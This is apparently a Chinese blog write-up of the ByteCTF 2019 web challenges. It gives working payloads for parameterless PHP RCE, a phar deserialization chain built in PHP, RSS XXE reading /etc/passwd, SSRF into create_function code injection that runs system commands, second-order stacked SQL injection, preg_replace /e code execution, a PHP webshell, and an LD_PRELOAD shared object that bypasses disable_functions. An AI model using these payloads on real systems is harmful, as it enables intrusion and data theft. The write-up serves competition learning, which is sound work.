ByteCTF 2019 Web WP

  1. 1. Web
    1. 1.1. boring_code
    2. 1.2. EzCMS
    3. 1.3. rss
    4. 1.4. babyblog
    5. 1.5. dot_server_prove
    6. 1.6. iCloudMusic
  2. 2. Conclusion

周末自己打了一会 Byte CTF ,队里其他师傅都没啥时间,自己做题比较慢,就只做了几个题。

Web

boring_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

审计题,由 PHP SSRF Techniques 这篇文章我们可以知道有几种 bypass trick,与题目比较类似的是最后一种 trick ,使用 data 协议绕过进行 xss

1
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

但是我们这里 data 直接被 ban 掉了,就没办法了…

这里我们队 @rmb122 师傅是直接买了一个域名xxxxbaidu.com这样,然后起个 http 服务就行,然而看了 ROIS 的 wp ,还有一个比较有意思的解法,就是利用百度爬虫。

在百度搜索界面如果爬到的自己网站的话,点击自己的网站,并不是直接访问自己的网站,而是百度有一个重定向的机制,将你的网站转换成了类似如下的形式

1
http://www.baidu.com/link?url=7W9evem35YiIRoQTUDMHxL5ZzKqb8nlwG_me93YTuIZLKV6l0YLOZcxWlVTdNGPQ70SncapWoM5ceZ55fUae6a

最终还是会跳转到你的网站,但是这个要求就是需要让百度的虫子爬到自己的网站,百度爬虫一般是两三天生效,所以如果是早就有自己的站并且被百度爬虫爬了的,或者在百度站长上提交了的都可以采用这种类似的方法进行绕过。

接下来一个正则/[a-z]+\((?R)?\)/,就是一个无参数 RCE 了,意思就是只允许使用类似a(b(c()));这种形式,并且过滤了下划线,很多函数都不能用了。

再接下来一个正则/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i,就是一个简单的关键字过滤了,我们可以使用get_definded_functions来取得所有内置可用函数,再用这个正则过滤,保留最后剩下的函数,用这个函数绕过上面的正则就行了。

根据题目提示,题目的 Web 目录形式大致是

1
2
3
4
5
6
.
├── code
│   └── index.php
└── index.php

1 directory, 2 files

我们运行的源代码是在 code 文件夹下,而 flag 是在与 code 目录平级的 index.php 文件中,意思就是我们需要获得../index.php的源码,我们可以构建一个类似的代码环境方便调试。

所以第一个我们比较容易想到的是用scandir函数拿到当前目录,得到一个数组,使用chdir函数跳到上级目录,再用readfile进行读取。

首先用scandir得到当前目录数组:

1
2
3
4
5
6
7
8
9
php > var_dump(scandir('.'));
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "test.php"
}

可以看到..是在第二个,也就是数组的 array[1] 位置,于是我们可以使用next函数获得数组第二个字符串。

1
2
3
php > var_dump(next(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(2) ".."

接着用chdir函数跳到上级目录:

1
2
3
php > var_dump(chdir(next(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
bool(true)

虽然有一个 PHP Notice ,但是也误伤大雅,这里关键的是chdir返回值是个bool(true),并没有返回上级目录数组什么的,这样我们貌似就不能获取到上级目录下的文件了,也就不能拿到源码了。

我们暂时先抛开这个问题,先假设到了上级目录,那我们是不是也可以像上面的方法一样,用sandir获得数组来进一步读取文件呢?

1
2
3
4
5
6
7
8
9
10
11
php > var_dump(scandir('.'));
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(4) "code"
[3]=>
string(9) "index.php"
}

这样我们就可以看到我们的目标文件了,因为目录排序的原因, i 在 c 的后面,所以我们肯定可以直接用end函数直接获取这个数组的最后一个拿到index.php字符串,

1
2
3
php > var_dump(end(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(9) "index.php"

接着我们就可以愉快的用readfile来获取 flag 了

1
2
3
4
php > var_dump(readfile(end(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
<?php
$flag = "This is index.php! And you get flag!";int(54)

前面后面我们都打通了,现在唯一缺的就是如何把chdir返回的bool(true)变成.以便scandir函数调用的问题了。

经过 @rmb122 师傅的发掘,microtime可以接受一个bool(true)参数,并返回当前 Unix 时间戳和微秒数

1
2
php > var_dump(microtime(true));
float(1568657564.377)

乍一看没什么用,但是我们依然可以配合chr函数来进行 ascii 码转换,当时间到了指定时间,我们就可以拿到.字符了!于是这样一开始如何构造最开始的.这个问题也可以解决了!

于是整个 payload 就是:

1
readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(time())))))))));

这个方法的缺点也比较明显,需要爆破…于是我用 intruder 爆了一下,运气也比较好,5s 就出来了。

EzCMS

这个题不想评价太多…拿我出的 SUCTF upload labs 2 来魔改的题,这里就简要说说点,不再详细赘述了。

这个题也是个上传的环境,但是上传有一个限制以及还有一个可疑的__call魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}

这里可以用 hash 长度拓展来绕过,hashpump 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}

虽然可以上传任意后缀的文件,但是上传目录下有被控制的.htaccess,导致我们上传的 php 文件不能解析,而且每次登录都会生成这个.htaccess文件,不能被绕过。

1
2
3
4
5
6
7
8
class File{
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}

整个题唯一一个__destruct函数,不用猜就知道是利用这个点

1
2
3
4
5
6
7
8
9
10
11
12
class File{
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
}

这里是一个很明显的 phar 反序列化的点,触发函数是mime_content_type,触发流是php://filter

整个题的意思也比较明显,但是一开始不是很 get 到点,给出的那个__call魔术方法有点莫名其妙,然后一直去日move_uploaded_file方法去了,结果发现这个根本日不动。然后经过马师傅的提醒,get 了一个 ZipArchive::open 函数,然后一切就明白了,随手一搜就是个原题魔改题 Insomni’hack Teaser 2018比赛Write Up:File Vault题目,可以使用 ZipArchive->open 方法达到删除目标文件。

所以整个利用链就比较清晰了, hash 拓展绕过上传限制,上传一个 webshell ,再构造一个 ZipArchive 类的 phar 包上传,用php://filter/resource=phar://触发 phar 反序列化删除自己目录下的.htaccess文件,直接 getflag 。

构造 phar 包的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class Check{
public $filename;

function __construct($filename)
{
$this->filename = $filename;
}
}

class File{

public $filename;
public $filepath;
public $checker;

}

class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
}

class Profile{

public $username = "/var/www/html/sandbox/9607fe6aa978f6811eb3fe830b544771/.htaccess";
public $password = "9";
public $admin;

}

class A{
public $a = 1;
}

unlink("1.phar");

$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$a = new ZipArchive();
$b = new Profile();
$b->admin = $a;
$o = new File();
$o->checker = $b;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

rss

根据题目名字,因为 rss 本身也是个 XML ,这里的考点之一肯定就是 xxe 了。

于是直接拿一个 rss xxe 模版来改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Sun, 08 Sep 2019 10:15:41 +0800</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://xz.aliyun.com/t/6223</link>
<description>CVE-2018-14418 擦出新火花</description>
<pubDate>Sun, 08 Sep 2019 10:15:41 +0800</pubDate>
<guid>http://xz.aliyun.com/t/6223</guid>
</item>
</channel>
</rss>

Url_parse 可以按照上面 boring_code 那题使用,来绕过,在自己的端口起个 http 服务,放上面的 xml 文件就行了,类似http://your_vps:80,baidu.com:80/file

成功读到/etc/passwd,但是读不到/flag,接着用 php 伪协议读题目源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {

require_once './classes/'.$class_name.'.php';

} else if(file_exists('./controllers/'.$class_name.'.php')) {

require_once './controllers/'.$class_name.'.php';

}
}

routes.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

Route::set('index.php',function(){
Index::createView('Index');
});

Route::set('index',function(){
Index::createView('Index');
});

Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});

Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

controllers/Admin.php

1
2
3
4
5
6
7
8
9
<?php

class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}

controllers/Fetch.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Fetch extends Controller{

public static function handleUrl($url) {
$r = parse_url($url);
$invalidUrl = false;
trueif (preg_match('/aliyun\.com$/', $r['host']) || preg_match('/baidu\.com$/', $r['host']) || preg_match('/qq\.com$/', $r['host'])) {
$rss = Rss::fetch($url);
}else {
$invalidUrl = true;
}
require_once './views/Fetch.php';
}
}

Rss.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class Rss {

public static function curl_request($url, $post = '', $cookie = '', $headers = '', $returnHeader = 0) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
curl_setopt($curl, CURLOPT_REFERER, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
if ($post) {
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
}
if ($cookie) {
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
}
if ($headers) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
if (curl_errno($curl)) {
return curl_error($curl);
}
curl_close($curl);
list($header, $body) = explode("\r\n\r\n", $data, 2);
$info['header'] = $header;
$info['body'] = $body;
return $info;
}

public static function fetch($url) {
libxml_disable_entity_loader(false);
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
return $rss;
}
}

view/Admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php

if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

我们可以在 view/Admin.php 中看到关键点

1
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

这是个在 FireShell CTF 2019 出过的考点,因为create_function可以进行代码注入,我们可以有以下这种操作

1
id,id);};die(system('ls -la /'));/*

这样就可以进行命令执行了,所以我们只需要在 xxe 中构造一个 ssrf 绕过 127.0.0.1 的判断就行了

1
php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http%3A%2F%2F122.112.199.14%2Fexample&order=id%2Cid)%3B%7D%3Bdie(system('ls%20-la%20%2F'))%3B%2F*

/flag_eb8ba2eb07702e69963a7d6ab8669134拿到 flag

babyblog

这个题最后没啥时间做了,比较可惜。赛后复盘了一下,仔细看看也没太大的难度,属于还算比较简单的。

扫描可以拿到 www.zip ,拿到源码,进行审计。

在 replace.php 中有经过$row['isvip'] == 1判断才能使用的功能,在 register.php 中有

1
$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

每次注册isvip被设置为 0 的,所以接下来我们需要找个注入点把我们设置为 vip

关键点就在 edit.php 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
trueforeach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
truetrue$row = $v;
true}
trueif($_SESSION['id'] == $row['userid']){
truetrue$title = addslashes($_POST['title']);
truetrue$content = addslashes($_POST['content']);
truetrue$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
truetrueexit("<script>alert('Edited successfully.');location.href='index.php';</script>");
true}else{
truetrueexit("<script>alert('You do not have permission.');history.go(-1);</script>");
true}
}

其中

1
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

$row['title']是上面 sql 语句取出来的结果,而title在 writing.php 插入的时候,虽然做了防注入,使用addslashes转义了title的内容

1
2
3
4
5
6
if(isset($_POST['title']) && isset($_POST['content'])){
true$title = addslashes($_POST['title']);
true$content = addslashes($_POST['content']);
true$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
trueexit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}

但是在上面未经任何处理又直接取出来会导致二次注入,例如第一次插入'1,经过addlashes转义,sql 语句变成

1
insert into article (userid,title,content) values ("1", '\'1','1');"

但是插入数据库的内容是'1,取出来的时候也是'1,这就导致了注入。

所以我们可以利用这个点进行注入,update 我们的 isvip 字段就行

1
';update users set isvip=1 where username='zedd';

接下来就是那个奇葩正则了:

1
2
3
4
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}

看起来虽然过滤了很多,但是我们依然可以使用堆叠注入来绕过:

1
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

所以我们把上面的 sql 语句换成16进制,就行了

1
';set @t=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d277a656464273b;prepare x from @t;execute x;

成为 vip 之后看到 replace.php 当中的内容:

1
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

比较明显的一个利用 php 正则/e执行命令的写法,可以使用%00截断最后的一个斜杠,在$_POST['find']中使用/e修饰符

1
find=/e%00&replace=phpinfo();&regex=1&id=2

POST 之后拿到 phpinfo 信息,Web 根目录 /var/www/html, disable_functions :

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail

还有putenv,考烂了的 LD_PRELOAD 绕过,直接写个 webshell :

1
find=/e%00&replace=file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);');&regex=1&id=2

发现还有 basedir 的限制,可以用以下列目录

1
2
3
4
5
6
if ($dh = opendir("glob:///*")) {
truewhile (($file = readdir($dh)) !== false) {
truetrueecho "$file\n";
true}
trueclosedir($dh);
}

在根目录有/readflag,直接写一个 so 文件就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>

void pwn(void) {
truesystem("/readflag > /var/www/html/res 2>&1");
}

void getpid(){
unsetenv("LD_PRELOAD");
pwn();
}

在当前 web 目录拿到 flag。//因为是复现环境就无所谓了。

dot_server_prove

这个题比赛的时候没怎么看,看了 bytesCTF dot_server_prove WriteUP,简单总结一下涉及的知识点:

  • 逆向 bin 文件查看逻辑,根据 host 来访问不同的站点,就像 apache 的 virtualhost 一样,读取 log 来保存你的 ua
  • 在 ua 处进行 xss ,读取页面有 ssrf
  • ssrf 打 dict://172.18.0.3:6379/info 得到 redis 版本号 4.x
  • 通过 gopher 利用主从复制的进行 RCE

iCloudMusic

打算与 SUCTF 的 iCloudMusic 放一起写吧

Conclusion

题目都不算特别难,除了马师傅的 iCloudMusic 跟 dot_server_prove ,两个不是很摸得着头脑的题, Web1/2/3 都有点魔改凑题的嫌疑,这几题并没有特别亮眼的知识点,都属于考过的,后面两题还是比较有意思的,dot_server_prove 可能不是很 get 到点,毕竟也属于一个比较新颖的题目了,以及马师傅的 iCloudMusic ,毕竟也是专门研究了一个多月的 electron orz…还是有一点收获的,希望线下赛不会被打爆 orz…


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/09/17/bytectf2019/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

Windows Defender 侧信道攻击 SUCTF 2019 出题笔记 & phar 反序列化的一些拓展

Comments